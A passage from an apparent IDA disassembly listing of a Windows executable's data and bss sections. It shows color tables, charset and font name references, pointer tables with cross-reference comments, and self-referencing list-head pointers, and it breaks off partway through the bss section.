dword_4001AA74 dd 1000100h, 2 dup(10100h), 10000h, 0C08B0101hoff_4001AA88 dd offset aFalse_0 ; DATA XREF: sub_40012F38+19o
; "False"
dd offset dword_40012F1C+8
off_4001AA90 dd offset dword_40012F34 ; DATA XREF: sub_40012F38+2Eo
dword_4001AA94 dd 0 off_4001AA98 dd offset dword_40013F94 ; DATA XREF: sub_40013FA4+19o
dd offset dword_40013F94+0Ch
off_4001AAA0 dd offset dword_40014730 ; DATA XREF: sub_40014740+19o
dd offset dword_40014730+0Ch
dd 0
dd 0FFFFFFF5h
dd 0
db 2 dup(0)
byte_4001AAB6 db 1 ; DATA XREF: sub_40014F60+7r
; sub_40014F8C+C4r ...
byte_4001AAB7 db 6 ; DATA XREF: sub_40014F60+Fo
; sub_40014F8C+13Eo ...
aTahomasSerif db 'Tahomas Serif',0
align 4
dd 4 dup(0)
dword_4001AAD8 dd 0 ; sub_40014D7C+2o ...
dd offset dword_4001491C+8
dd 80h
dd offset dword_4001491C+18h
dd 8000h
dd offset dword_40014940+8
dd 8080h
dd offset dword_40014940+18h
dd 800000h
dd offset dword_40014940+28h
dd 800080h
dd offset dword_40014940+38h
dd 808000h
dd offset dword_40014984+8
dd 808080h
dd offset dword_40014984+18h
dd 0C0C0C0h
dd offset dword_40014984+28h
dd 0FFh
dd offset dword_400149B8+8
dd 0FF00h
dd offset dword_400149B8+18h
dd 0FFFFh
dd offset dword_400149B8+28h
dd 0FF0000h
dd offset dword_400149EC+8
dd 0FF00FFh
dd offset dword_400149EC+18h
dd 0FFFF00h
dd offset dword_400149EC+2Ch
dd 0FFFFFFh
dd offset dword_400149EC+3Ch
dd 0C0DCC0h
dd offset dword_400149EC+4Ch
dd 0F0CAA6h
dd offset dword_40014A48+8
dd 0F0FBFFh
dd offset dword_40014A48+1Ch
dd 0A4A0A0h
dd offset dword_40014A48+2Ch
dd 0FF00000Ah
dd offset dword_40014A48+40h
dd 0FF000002h
dd offset dword_40014A48+58h
dd 0FF00000Ch
dd offset dword_40014A48+70h
dd 0FF000001h
dd offset dword_40014A48+88h
dd 0FF00000Fh
dd offset dword_40014AE0+8
dd 0FF000014h
dd offset dword_40014AE0+1Ch
dd 0FF000010h
dd offset dword_40014AE0+34h
dd 0FF000012h
dd offset dword_40014AE0+48h
dd 0FF000009h
dd offset dword_40014AE0+5Ch
dd 20000000h
dd offset dword_40014AE0+74h
dd 0FF00001Bh
dd offset dword_40014AE0+88h
dd 0FF00001Ch
dd offset dword_40014AE0+0A8h
dd 0FF000011h
dd offset dword_40014AE0+0CCh
dd 0FF00000Dh
dd offset dword_40014AE0+0E0h
dd 0FF00000Eh
dd offset dword_40014AE0+0F4h
dd 0FF00001Ah
dd offset dword_40014AE0+10Ch
dd 0FF00000Bh
dd offset dword_40014AE0+120h
dd 0FF000003h
dd offset dword_40014C14+8
dd 0FF000013h
dd offset dword_40014C14+24h
dd 0FF000018h
dd offset dword_40014C14+44h
dd 0FF000017h
dd offset dword_40014C64+8
dd 0FF000004h
dd offset dword_40014C64+1Ch
dd 0FF00001Eh
dd offset dword_40014C64+2Ch
dd 0FF00001Dh
dd offset dword_40014C64+40h
dd 0FF000007h
dd offset dword_40014C64+58h
dd 1FFFFFFFh
dd offset dword_40014C64+6Ch
dd 0FF000000h
dd offset dword_40014C64+7Ch
dd 0FF000015h
dd offset dword_40014C64+90h
dd 0FF000016h
dd offset dword_40014D04+8
dd 0FF000005h
dd offset dword_40014D04+1Ch
dd 0FF000006h
dd offset dword_40014D2C+8
dd 0FF000008h
dd offset dword_40014D2C+20h
dword_4001AC78 dd 0 ; .text:40014F52o ...
dd offset dword_40014D8C+8
dd 1
dd offset dword_40014DA4+8
dd 2
dd offset dword_40014DA4+20h
dd 4Dh
dd offset dword_40014DA4+38h
dd 80h
dd offset dword_40014DA4+4Ch
dd 81h
dd offset dword_40014E04+8
dd 82h
dd offset dword_40014E04+20h
dd 86h
dd offset dword_40014E04+38h
dd 88h
dd offset dword_40014E04+50h
dd 0A1h
dd offset dword_40014E04+6Ch
dd 0A2h
dd offset dword_40014E04+84h
dd 0B1h
dd offset dword_40014E04+9Ch
dd 0B2h
dd offset dword_40014E04+0B4h
dd 0BAh
dd offset dword_40014E04+0CCh
dd 0CCh
dd offset dword_40014E04+0E4h
dd 0DEh
dd offset dword_40014E04+0FCh
dd 0EEh
dd offset aEasteurope_cha ; "EASTEUROPE_CHARSET"
dd 0FFh
dd offset dword_40014F2C+8
word_4001AD08 dw 0 ; DATA XREF: sub_400151D0+3Dr
dw 1
dd 30002h, 50004h, 70006h, 0C08B0008h
word_4001AD1C dw 1 ; DATA XREF: sub_400155D0+1Cr
dw 10h
dd 6000Bh, 4000Dh, 5000Eh, 3000Ch, 2000Fh, 80009h, 0A0007h
dword_4001AD3C dd 0 dword_4001AD40 dd 0 dword_4001AD44 dd 0A41C68h ; sub_40015794:loc_40015827r ...
dd 0
dd 80h, 8000h, 8080h, 800000h, 800080h, 808000h, 808080h
dd 0C0C0C0h, 0FFh, 0FF00h, 0FFFFh, 0FF0000h, 0FF00FFh
dd 0FFFF00h, 0FFFFFFh
dword_4001AD88 dd 774FFA6Bh dword_4001AD8C dd 774FEF6Bh ; sub_40016A34+18r ...
dword_4001AD90 dd 77596178h dword_4001AD94 dd 77596182h dword_4001AD98 dd 775274DCh dword_4001AD9C dd 77527567h dword_4001ADA0 dd 0FFFFFFFFh ; sub_40016A34+21r ...
dword_4001ADA4 dd 0 dd offset dword_40015E44+14h
dd offset dword_40015E44+28h
dd offset dword_40015E74+8
dd offset dword_40015E84+8
dword_4001ADB8 dd 40h dup(0) off_4001AEB8 dd offset off_40006CC8 ; DATA XREF: .text:4000CC0Co
off_4001AEBC dd offset off_40006BE8 ; DATA XREF: .text:4000C9C0o
; sub_4000E0EC+16r
off_4001AEC0 dd offset off_40006C30 ; DATA XREF: sub_4000DBF4+56r
off_4001AEC4 dd offset off_40006B30 ; DATA XREF: .text:4000CA58o
off_4001AEC8 dd offset off_40006D18 ; DATA XREF: .text:4000CB94o
off_4001AECC dd offset off_40006D58 ; DATA XREF: .text:4000CB34o
off_4001AED0 dd offset off_40006DC0 ; DATA XREF: .text:4000CA98o
off_4001AED4 dd offset byte_4001C038 ; DATA XREF: .itext:400193CBr
off_4001AED8 dd offset off_40006CE8 ; DATA XREF: .text:4000CBDCo
off_4001AEDC dd offset off_4001C02C ; DATA XREF: sub_4000B72C+79r
off_4001AEE0 dd offset off_40006C68 ; DATA XREF: sub_4000B654+71r
; .text:4000C998o
off_4001AEE4 dd offset off_4001A014 ; DATA XREF: sub_40019144+5Ar
off_4001AEE8 dd offset off_40006DD0 ; DATA XREF: .text:4000CA80o
off_4001AEEC dd offset off_4001C008 ; DATA XREF: sub_4000B72C+2Er
; sub_4000B7B0:loc_4000B7F6r
off_4001AEF0 dd offset off_40006DA8 ; DATA XREF: .text:4000CABCo
off_4001AEF4 dd offset off_40006CD0 ; DATA XREF: .text:4000CC00o
off_4001AEF8 dd offset off_4001C000 ; DATA XREF: sub_40016AB0+33r
; .itext:400193B3r
off_4001AEFC dd offset off_40006C60 ; DATA XREF: sub_4000DDD4+1ADr
off_4001AF00 dd offset off_40006C40 ; DATA XREF: sub_4000DDD4+CCr
off_4001AF04 dd offset dword_4001F274 ; DATA XREF: sub_400113EC+1Br
off_4001AF08 dd offset off_40015D08 ; DATA XREF: sub_40015EE4+5Ar
off_4001AF0C dd offset off_40006B48 ; DATA XREF: .text:4000CA40o
off_4001AF10 dd offset off_40006DB0 ; DATA XREF: .text:4000CAB0o
off_4001AF14 dd offset off_40006D90 ; DATA XREF: .text:4000CAE0o
off_4001AF18 dd offset off_40006DB8 ; DATA XREF: .text:4000CAA4o
off_4001AF1C dd offset off_4001C01C ; DATA XREF: sub_4000B72C+44r
; sub_4000B7B0+58r
off_4001AF20 dd offset byte_4001C04D ; DATA XREF: sub_40016A34+3Cr
; sub_40016A34:loc_40016A92r
off_4001AF24 dd offset off_40006B18 ; DATA XREF: sub_4000B230+44r
off_4001AF28 dd offset off_40006BD0 ; DATA XREF: sub_4000AF68+83r
off_4001AF2C dd offset off_40006B10 ; DATA XREF: sub_4000B72Cr
; sub_4000DDD4+164r
off_4001AF30 dd offset off_40006CF0 ; DATA XREF: .text:4000CBD0o
off_4001AF34 dd offset off_40006B50 ; DATA XREF: .text:4000CA38o
off_4001AF38 dd offset off_40006BD8 ; DATA XREF: .text:4000CC48o
off_4001AF3C dd offset dword_4001F268 ; DATA XREF: sub_40010874+3Br
off_4001AF40 dd offset off_40006C90 ; DATA XREF: sub_4000B3D8r
off_4001AF44 dd offset off_40006C48 ; DATA XREF: .text:4000C9B0o
; sub_4000DDD4+18Ar
off_4001AF48 dd offset off_40006D40 ; DATA XREF: .text:4000CB58o
off_4001AF4C dd offset dword_4001C21C ; DATA XREF: sub_4000AF68+1Er
off_4001AF50 dd offset off_40006D60 ; DATA XREF: .text:4000CB28o
off_4001AF54 dd offset off_4001C00C ; DATA XREF: sub_4000B72C+51r
; sub_4000B7B0+61r
off_4001AF58 dd offset off_40006D20 ; DATA XREF: .text:4000CB88o
off_4001AF5C dd offset off_4001C004 ; DATA XREF: sub_4000B72C+39r
; sub_4000B7B0+4Fr
off_4001AF60 dd offset off_4001C010 ; DATA XREF: sub_4000B72C+5Cr
; sub_4000B7B0+6Ar
off_4001AF64 dd offset off_40015D20 ; DATA XREF: sub_40016280+4Cr
; sub_400166E8+1Ar
off_4001AF68 dd offset off_40013F84 ; DATA XREF: sub_4001552C+2Er
off_4001AF6C dd offset off_40006D68 ; DATA XREF: .text:4000CB1Co
off_4001AF70 dd offset off_40006BB0 ; DATA XREF: .text:4000C9D8o
off_4001AF74 dd offset off_40006BA8 ; DATA XREF: .text:4000C9F0o
off_4001AF78 dd offset off_40006BB8 ; DATA XREF: .text:4000C9E0o
off_4001AF7C dd offset off_40012EDC ; DATA XREF: sub_400140B4+11r
off_4001AF80 dd offset off_40006DA0 ; DATA XREF: .text:4000CAC8o
off_4001AF84 dd offset off_40006B20 ; DATA XREF: .text:4000CA68o
off_4001AF88 dd offset off_40006B68 ; DATA XREF: .text:4000CA20o
off_4001AF8C dd offset off_40006BE0 ; DATA XREF: .text:4000CC3Co
off_4001AF90 dd offset off_40012ED4 ; DATA XREF: sub_40013A1C+51r
off_4001AF94 dd offset off_40006C00 ; DATA XREF: .text:4000C9B8o
; sub_4000DD80+16r
off_4001AF98 dd offset off_40006C28 ; DATA XREF: sub_4000DDD4+1FFr
off_4001AF9C dd offset off_40006D10 ; DATA XREF: .text:4000CBA0o
off_4001AFA0 dd offset off_40012EEC ; DATA XREF: sub_400138D4:loc_400138E8r
off_4001AFA4 dd offset off_40006C78 ; DATA XREF: .text:4000C990o
off_4001AFA8 dd offset dword_4001A7CC ; DATA XREF: sub_40016280+2A2r
; sub_400165F0+ADr
off_4001AFAC dd offset off_40012ECC ; DATA XREF: sub_40013B54+89r
off_4001AFB0 dd offset off_40006D38 ; DATA XREF: .text:4000CB64o
off_4001AFB4 dd offset off_40006C20 ; DATA XREF: .text:4000C9C8o
; sub_4000DC90+16r
off_4001AFB8 dd offset off_4001C044 ; DATA XREF: .itext:400193D5r
; .itext:400193E1r
off_4001AFBC dd offset off_40006D28 ; DATA XREF: .text:4000CB7Co
off_4001AFC0 dd offset dword_4001F270 ; DATA XREF: sub_4000FCA4+33r
off_4001AFC4 dd offset off_40006D48 ; DATA XREF: .text:4000CB4Co
off_4001AFC8 dd offset dword_4001F278 ; DATA XREF: sub_40011424+1Br
off_4001AFCC dd offset off_40012F04 ; DATA XREF: sub_4001464C+48r
off_4001AFD0 dd offset off_4001A010 ; DATA XREF: sub_40019144+4Dr
off_4001AFD4 dd offset off_40006C18 ; DATA XREF: .text:4000C9D0o
; sub_4000DBA0+16r
off_4001AFD8 dd offset off_40006CB8 ; DATA XREF: .text:4000CC24o
off_4001AFDC dd offset off_40006CF8 ; DATA XREF: .text:4000CBC4o
off_4001AFE0 dd offset off_40006D88 ; DATA XREF: .text:4000CAECo
off_4001AFE4 dd offset off_40012EE4 ; DATA XREF: sub_40013898:loc_400138ABr
off_4001AFE8 dd offset off_40006B40 ; DATA XREF: .text:4000CA48o
off_4001AFEC dd offset off_40006B80 ; DATA XREF: .text:4000CA08o
off_4001AFF0 dd offset dword_4001F264 ; DATA XREF: sub_4000F6A8+7Er
; sub_400101AC+38r
off_4001AFF4 dd offset off_40006C58 ; DATA XREF: sub_4000DDD4+13Er
off_4001AFF8 dd offset off_40006D30 ; DATA XREF: .text:4000CB70o
off_4001AFFC dd offset off_40006B90 ; DATA XREF: sub_4000B72C+17r
off_4001B000 dd offset off_40006D98 ; DATA XREF: .text:4000CAD4o
off_4001B004 dd offset off_40006B88 ; DATA XREF: .text:4000CA00o
off_4001B008 dd offset off_40006D70 ; DATA XREF: .text:4000CB10o
off_4001B00C dd offset off_4001C024 ; DATA XREF: sub_4000B72C+6Cr
; sub_4000B7B0+73r
off_4001B010 dd offset off_40006C80 ; DATA XREF: .text:4000C988o
off_4001B014 dd offset off_40006C38 ; DATA XREF: sub_4000DCE4+56r
off_4001B018 dd offset off_4001A018 ; DATA XREF: sub_40019144+67r
off_4001B01C dd offset off_40006BF8 ; DATA XREF: sub_4000B488+54r
off_4001B020 dd offset off_40006BA0 ; DATA XREF: sub_4000B488+16Cr
off_4001B024 dd offset off_4001A020 ; DATA XREF: sub_40019144+81r
off_4001B028 dd offset off_40006DC8 ; DATA XREF: .text:4000CA8Co
off_4001B02C dd offset off_4001F294 ; DATA XREF: sub_40016AB0+3Cr
; .itext:400193ABr
off_4001B030 dd offset off_40006CA0 ; DATA XREF: sub_4000C41C+41r
off_4001B034 dd offset off_40006B38 ; DATA XREF: .text:4000CA50o
off_4001B038 dd offset off_40006C70 ; DATA XREF: sub_4000B300+38r
; .text:4000C9A0o
off_4001B03C dd offset off_40006D50 ; DATA XREF: .text:4000CB40o
off_4001B040 dd offset off_40006D78 ; DATA XREF: .text:4000CB04o
off_4001B044 dd offset off_40015D10 ; DATA XREF: sub_400165BC+19r
off_4001B048 dd offset byte_4001C04C ; DATA XREF: sub_4000AF68+14r
off_4001B04C dd offset off_40006D80 ; DATA XREF: .text:4000CAF8o
off_4001B050 dd offset off_40006C08 ; DATA XREF: .text:4000C9A8o
; sub_4000DDD4+F2r
off_4001B054 dd offset off_4001C020 ; DATA XREF: sub_40016AB0+2Ar
; .itext:400193C3r
off_4001B058 dd offset dword_4001F27C ; DATA XREF: sub_4001145C+2Dr
off_4001B05C dd offset off_40012EF4 ; DATA XREF: sub_40013708:loc_40013718r
; sub_400137FC:loc_4001380Br
off_4001B060 dd offset off_40006C98 ; DATA XREF: sub_4000B488+110r
off_4001B064 dd offset dword_4001F228 ; DATA XREF: sub_4000E8E0+31r
; sub_4000E8E0+5Dr ...
off_4001B068 dd offset off_40006CE0 ; DATA XREF: .text:4000CBE8o
off_4001B06C dd offset off_40006C88 ; DATA XREF: sub_4000B300+63r
off_4001B070 dd offset off_40006D00 ; DATA XREF: .text:4000CBB8o
off_4001B074 dd offset off_4001A038 ; DATA XREF: sub_4000C230+7r
off_4001B078 dd offset off_40006DD8 ; DATA XREF: .text:4000CA74o
off_4001B07C dd offset off_40015D18 ; DATA XREF: sub_400166D0r
off_4001B080 dd offset off_40006CC0 ; DATA XREF: .text:4000CC18o
off_4001B084 dd offset off_40006B28 ; DATA XREF: .text:4000CA60o
off_4001B088 dd offset off_40006BC0 ; DATA XREF: .text:4000C9E8o
off_4001B08C dd offset off_40006B60 ; DATA XREF: .text:4000CA28o
off_4001B090 dd offset off_40006C50 ; DATA XREF: sub_4000DDD4+9Cr
off_4001B094 dd offset off_40006B58 ; DATA XREF: .text:4000CA30o
off_4001B098 dd offset off_40006D08 ; DATA XREF: .text:4000CBACo
off_4001B09C dd offset off_4001A84C ; DATA XREF: sub_4000DDD4:loc_4000DFA1r
; sub_4001293C+D8r
off_4001B0A0 dd offset dword_4001F26C ; DATA XREF: sub_40010E0C+38r
off_4001B0A4 dd offset off_40006CA8 ; DATA XREF: sub_4000C41C:loc_4000C473r
off_4001B0A8 dd offset off_40006B70 ; DATA XREF: .text:4000CA18o
off_4001B0AC dd offset off_40006CB0 ; DATA XREF: .text:4000CC30o
off_4001B0B0 dd offset dword_4001F25C ; DATA XREF: sub_4000EBF8+33r
; sub_4000F6A8+56r
off_4001B0B4 dd offset off_4001A01C ; DATA XREF: sub_400082E4+1r
; sub_400082E4+Cr ...
off_4001B0B8 dd offset off_40006BC8 ; DATA XREF: sub_4000ADE0+DEr
off_4001B0BC dd offset off_40006B98 ; DATA XREF: .text:4000C9F8o
off_4001B0C0 dd offset off_40006C10 ; DATA XREF: sub_4000DDD4+118r
off_4001B0C4 dd offset off_40006B78 ; DATA XREF: .text:4000CA10o
off_4001B0C8 dd offset dword_4001A7E4 ; DATA XREF: sub_40014F8C:loc_400150FAr
off_4001B0CC dd offset off_40006BF0 ; DATA XREF: sub_4000B488+45r
off_4001B0D0 dd offset off_40006CD8 ; DATA XREF: .text:4000CBF4o
off_4001B0D4 dd offset off_40012EFC ; DATA XREF: sub_400146B4+41r
_data ends
; Section 4. (virtual address 0001C000)
; Virtual size : 00007E54 ( 32340.)
; Section size in file : 00007E54 ( 32340.)
; Offset to raw data for section: 0001C000
; Flags C0000000: Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Regular
; Segment permissions: Read/Write
_bss segment para public '' use32
assume cs:_bss
;org 4001C000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_4001C000 dd offset sub_40016958 ; DATA XREF: .itext:40019034w
; .data:off_4001AEF8o
off_4001C004 dd offset sub_4000B71C ; DATA XREF: .text:400044AAr
; .data:off_4001AF5Co
off_4001C008 dd offset sub_4000B2B0 ; DATA XREF: sub_40002D04+9r
; sub_40002D04+16r ...
off_4001C00C dd offset sub_4000B470 ; DATA XREF: .data:off_4001AF54o
off_4001C010 dd offset sub_4000B654 ; DATA XREF: sub_400040D8+25r
; .text:40004488r ...
off_4001C014 dd offset sub_40001168 ; DATA XREF: sub_40003FE8+14r
; sub_40004004+16r ...
off_4001C018 dd offset sub_40001178 ; DATA XREF: sub_400040D8+D2r
; .text:40004470r ...
off_4001C01C dd offset dword_40006E2C ; DATA XREF: .data:off_4001AF1Co
off_4001C020 dd offset sub_40016180 ; DATA XREF: .data:off_4001B054o
off_4001C024 dd offset sub_4000B3BC ; DATA XREF: .data:off_4001B00Co
dword_4001C028 dd 0 ; sub_40004790+B4r
off_4001C02C dd offset sub_4000B3D8 ; DATA XREF: sub_400030B4r
; sub_400030B4+9r ...
dword_4001C030 dd 40000000h dword_4001C034 dd 6C8h byte_4001C038 db 0 ; DATA XREF: sub_400045E4+33w
; .data:off_4001AED4o
align 4
dword_4001C03C dd 0Ah dword_4001C040 dd 142340h off_4001C044 dd offset sub_40016A34 ; DATA XREF: .data:off_4001AFB8o
dword_4001C048 dd 0 byte_4001C04C db 0 ; DATA XREF: sub_40004704+1r
; .data:off_4001B048o
byte_4001C04D db 0 ; DATA XREF: sub_40001654r
; sub_40001734+Cr ...
byte_4001C04E db 2 ; DATA XREF: .itext:4001902Dw
align 10h
dword_4001C050 dd 0 ; sub_40006350+19o
word_4001C054 dw 0D7B0h ; DATA XREF: .itext:40019051w
align 4
dd 71h dup(0)
dword_4001C21C dd 0 ; sub_40004704+1Eo ...
word_4001C220 dw 0D7B0h ; DATA XREF: sub_40004704+Ar
; .itext:4001905Aw
align 8
dword_4001C228 dd 0 dd 3 dup(0)
dword_4001C238 dd 0 dd 6Bh dup(0)
dword_4001C3E8 dd 0 ; sub_40003390+26o ...
word_4001C3EC dw 0D7B0h ; DATA XREF: .itext:40019063w
align 10h
dd 71h dup(0)
byte_4001C5B4 db 0 ; DATA XREF: sub_40002BB4:loc_40002BCFr
align 4
dword_4001C5B8 dd 0FFFFFFFFh ; .itext:loc_40019000w
dword_4001C5BC dd 4E4h ; sub_400049C4+Cr ...
byte_4001C5C0 db 0 ; DATA XREF: sub_40001734+1Ar
; sub_400029B8:loc_400029E1w
align 2
dw 804h
dd 1814100Ch, 2824201Ch, 3834302Ch, 4844403Ch, 50504C4Ch
dd 58585454h, 60605C5Ch, 68686464h, 70706C6Ch, 74747474h
dd 78787878h, 7C7C7C7Ch, 80808080h, 84848484h, 88888888h
dd 8C8C8888h, 8C8C8C8Ch, 90909090h, 94949090h, 94949494h
dd 2 dup(98989898h), 2 dup(9C9C9C9Ch), 2 dup(0A0A0A0A0h)
dd 0A4A4A0A0h, 2 dup(0A4A4A4A4h), 3 dup(0A8A8A8A8h), 3 dup(0ACACACACh)
dd 3 dup(0B0B0B0B0h), 0B4B4B0B0h, 3 dup(0B4B4B4B4h), 4 dup(0B8B8B8B8h)
dd 4 dup(0BCBCBCBCh), 0C0C0BCBCh, 4 dup(0C0C0C0C0h), 0C4C4C0C0h
dd 5 dup(0C4C4C4C4h), 6 dup(0C8C8C8C8h), 6 dup(0CCCCCCCCh)
dd 0D0D0CCCCh, 6 dup(0D0D0D0D0h)
db 2 dup(0D0h)
byte_4001C706 db 0 ; DATA XREF: sub_400029B8:loc_400029C3r
align 4
dword_4001C708 dd 910000h ; sub_40002540:loc_4000261Fo ...
dword_4001C70C dd 910000h ; sub_400015DC+2Dw ...
dd 2 dup(0)
byte_4001C718 db 0 ; DATA XREF: sub_40001734+DCw
; sub_40001734+F2w ...
align 4
dword_4001C71C dd 967060h ; sub_40001570+51r ...
dword_4001C720 dd 57050h ; sub_40001570+1Br ...
dword_4001C724 dd 108h ; sub_40001510+59w ...
dword_4001C728 dd 0 ; sub_40001510+49w ...
dd 2 dup(0)
dd 100h, 4 dup(0)
dd 100h, 17h dup(0)
off_4001C7A8 dd offset off_4001C7A8 ; DATA XREF: sub_400014D0:loc_400014E0o
; sub_40001510+19o ...
dd offset off_4001C7A8
off_4001C7B0 dd offset off_4001C7B0 ; DATA XREF: .bss:off_4001C7B0o
; .bss:4001C7B4o
dd offset off_4001C7B0
off_4001C7B8 dd offset off_4001C7B8 ; DATA XREF: .bss:off_4001C7B8o
; .bss:4001C7BCo
dd offset off_4001C7B8
off_4001C7C0 dd offset off_4001C7C0 ; DATA XREF: .bss:off_4001C7C0o
; .bss:4001C7C4o
dd offset off_4001C7C0
off_4001C7C8 dd offset off_4001C7C8 ; DATA XREF: .bss:off_4001C7C8o
; .bss:4001C7CCo
dd offset off_4001C7C8
off_4001C7D0 dd offset off_4001C7D0 ; DATA XREF: .bss:off_4001C7D0o
; .bss:4001C7D4o
dd offset off_4001C7D0
off_4001C7D8 dd offset off_4001C7D8 ; DATA XREF: .bss:off_4001C7D8o
; .bss:4001C7DCo
dd offset off_4001C7D8
off_4001C7E0 dd offset off_4001C7E0 ; DATA XREF: .bss:off_4001C7E0o
; .bss:4001C7E4o
dd offset off_4001C7E0
off_4001C7E8 dd offset off_4001C7E8 ; DATA XREF: .bss:off_4001C7E8o
; .bss:4001C7ECo
dd offset off_4001C7E8
off_4001C7F0 dd offset off_4001C7F0 ; DATA XREF: .bss:off_4001C7F0o
; .bss:4001C7F4o
dd offset off_4001C7F0
off_4001C7F8 dd offset off_4001C7F8 ; DATA XREF: .bss:off_4001C7F8o
; .bss:4001C7FCo
dd offset off_4001C7F8
off_4001C800 dd offset off_4001C800 ; DATA XREF: .bss:off_4001C800o
; .bss:4001C804o
dd offset off_4001C800
off_4001C808 dd offset off_4001C808 ; DATA XREF: .bss:off_4001C808o
; .bss:4001C80Co
dd offset off_4001C808
off_4001C810 dd offset off_4001C810 ; DATA XREF: .bss:off_4001C810o
; .bss:4001C814o
dd offset off_4001C810
off_4001C818 dd offset off_4001C818 ; DATA XREF: .bss:off_4001C818o
; .bss:4001C81Co
dd offset off_4001C818
off_4001C820 dd offset off_4001C820 ; DATA XREF: .bss:off_4001C820o
; .bss:4001C824o
dd offset off_4001C820
off_4001C828 dd offset off_4001C828 ; DATA XREF: .bss:off_4001C828o
; .bss:4001C82Co
dd offset off_4001C828
off_4001C830 dd offset off_4001C830 ; DATA XREF: .bss:off_4001C830o
; .bss:4001C834o
dd offset off_4001C830
off_4001C838 dd offset off_4001C838 ; DATA XREF: .bss:off_4001C838o
; .bss:4001C83Co
dd offset off_4001C838
off_4001C840 dd offset off_4001C840 ; DATA XREF: .bss:off_4001C840o
; .bss:4001C844o
dd offset off_4001C840
off_4001C848 dd offset off_4001C848 ; DATA XREF: .bss:off_4001C848o
; .bss:4001C84Co
dd offset off_4001C848
off_4001C850 dd offset off_4001C850 ; DATA XREF: .bss:off_4001C850o
; .bss:4001C854o
dd offset off_4001C850
off_4001C858 dd offset off_4001C858 ; DATA XREF: .bss:off_4001C858o
; .bss:4001C85Co
dd offset off_4001C858
off_4001C860 dd offset off_4001C860 ; DATA XREF: .bss:off_4001C860o
; .bss:4001C864o
dd offset off_4001C860
off_4001C868 dd offset off_4001C868 ; DATA XREF: .bss:off_4001C868o
; .bss:4001C86Co
dd offset off_4001C868
off_4001C870 dd offset off_4001C870 ; DATA XREF: .bss:off_4001C870o
; .bss:4001C874o
dd offset off_4001C870
off_4001C878 dd offset off_4001C878 ; DATA XREF: .bss:off_4001C878o
; .bss:4001C87Co
dd offset off_4001C878
off_4001C880 dd offset off_4001C880 ; DATA XREF: .bss:off_4001C880o
; .bss:4001C884o
dd offset off_4001C880
off_4001C888 dd offset off_4001C888 ; DATA XREF: .bss:off_4001C888o
; .bss:4001C88Co
dd offset off_4001C888
off_4001C890 dd offset off_4001C890 ; DATA XREF: .bss:off_4001C890o
; .bss:4001C894o
dd offset off_4001C890
off_4001C898 dd offset off_4001C898 ; DATA XREF: .bss:off_4001C898o
; .bss:4001C89Co
dd offset off_4001C898
off_4001C8A0 dd offset off_4001C8A0 ; DATA XREF: .bss:off_4001C8A0o
; .bss:4001C8A4o
dd offset off_4001C8A0
off_4001C8A8 dd offset off_4001C8A8 ; DATA XREF: .bss:off_4001C8A8o
; .bss:4001C8ACo
dd offset off_4001C8A8
off_4001C8B0 dd offset off_4001C8B0 ; DATA XREF: .bss:off_4001C8B0o
; .bss:4001C8B4o
dd offset off_4001C8B0
off_4001C8B8 dd offset off_4001C8B8 ; DATA XREF: .bss:off_4001C8B8o
; .bss:4001C8BCo
dd offset off_4001C8B8
off_4001C8C0 dd offset off_4001C8C0 ; DATA XREF: .bss:off_4001C8C0o
; .bss:4001C8C4o
dd offset off_4001C8C0
off_4001C8C8 dd offset off_4001C8C8 ; DATA XREF: .bss:off_4001C8C8o
; .bss:4001C8CCo
dd offset off_4001C8C8
off_4001C8D0 dd offset off_4001C8D0 ; DATA XREF: .bss:off_4001C8D0o
; .bss:4001C8D4o
dd offset off_4001C8D0
off_4001C8D8 dd offset off_4001C8D8 ; DATA XREF: .bss:off_4001C8D8o
; .bss:4001C8DCo
dd offset off_4001C8D8
off_4001C8E0 dd offset off_4001C8E0 ; DATA XREF: .bss:off_4001C8E0o
; .bss:4001C8E4o
dd offset off_4001C8E0
off_4001C8E8 dd offset off_4001C8E8 ; DATA XREF: .bss:off_4001C8E8o
; .bss:4001C8ECo
dd offset off_4001C8E8
off_4001C8F0 dd offset off_4001C8F0 ; DATA XREF: .bss:off_4001C8F0o
; .bss:4001C8F4o
dd offset off_4001C8F0
off_4001C8F8 dd offset off_4001C8F8 ; DATA XREF: .bss:off_4001C8F8o
; .bss:4001C8FCo
dd offset off_4001C8F8
off_4001C900 dd offset off_4001C900 ; DATA XREF: .bss:off_4001C900o
; .bss:4001C904o
dd offset off_4001C900
off_4001C908 dd offset off_4001C908 ; DATA XREF: .bss:off_4001C908o
; .bss:4001C90Co
dd offset off_4001C908
off_4001C910 dd offset off_4001C910 ; DATA XREF: .bss:off_4001C910o
; .bss:4001C914o
dd offset off_4001C910
off_4001C918 dd offset off_4001C918 ; DATA XREF: .bss:off_4001C918o
; .bss:4001C91Co
dd offset off_4001C918
off_4001C920 dd offset off_4001C920 ; DATA XREF: .bss:off_4001C920o
; .bss:4001C924o
dd offset off_4001C920
off_4001C928 dd offset off_4001C928 ; DATA XREF: .bss:off_4001C928o
; .bss:4001C92Co
dd offset off_4001C928
off_4001C930 dd offset off_4001C930 ; DATA XREF: .bss:off_4001C930o
; .bss:4001C934o
dd offset off_4001C930
off_4001C938 dd offset off_4001C938 ; DATA XREF: .bss:off_4001C938o
; .bss:4001C93Co
dd offset off_4001C938
off_4001C940 dd offset off_4001C940 ; DATA XREF: .bss:off_4001C940o
; .bss:4001C944o
dd offset off_4001C940
off_4001C948 dd offset off_4001C948 ; DATA XREF: .bss:off_4001C948o
; .bss:4001C94Co
dd offset off_4001C948
off_4001C950 dd offset off_4001C950 ; DATA XREF: .bss:off_4001C950o
; .bss:4001C954o
dd offset off_4001C950
off_4001C958 dd offset off_4001C958 ; DATA XREF: .bss:off_4001C958o
; .bss:4001C95Co
dd offset off_4001C958
off_4001C960 dd offset off_4001C960 ; DATA XREF: .bss:off_4001C960o
; .bss:4001C964o
dd offset off_4001C960
off_4001C968 dd offset off_4001C968 ; DATA XREF: .bss:off_4001C968o
; .bss:4001C96Co
dd offset off_4001C968
off_4001C970 dd offset off_4001C970 ; DATA XREF: .bss:off_4001C970o
; .bss:4001C974o
dd offset off_4001C970
off_4001C978 dd offset off_4001C978 ; DATA XREF: .bss:off_4001C978o
; .bss:4001C97Co
dd offset off_4001C978
off_4001C980 dd offset off_4001C980 ; DATA XREF: .bss:off_4001C980o
; .bss:4001C984o
dd offset off_4001C980
off_4001C988 dd offset off_4001C988 ; DATA XREF: .bss:off_4001C988o
; .bss:4001C98Co
dd offset off_4001C988
off_4001C990 dd offset off_4001C990 ; DATA XREF: .bss:off_4001C990o
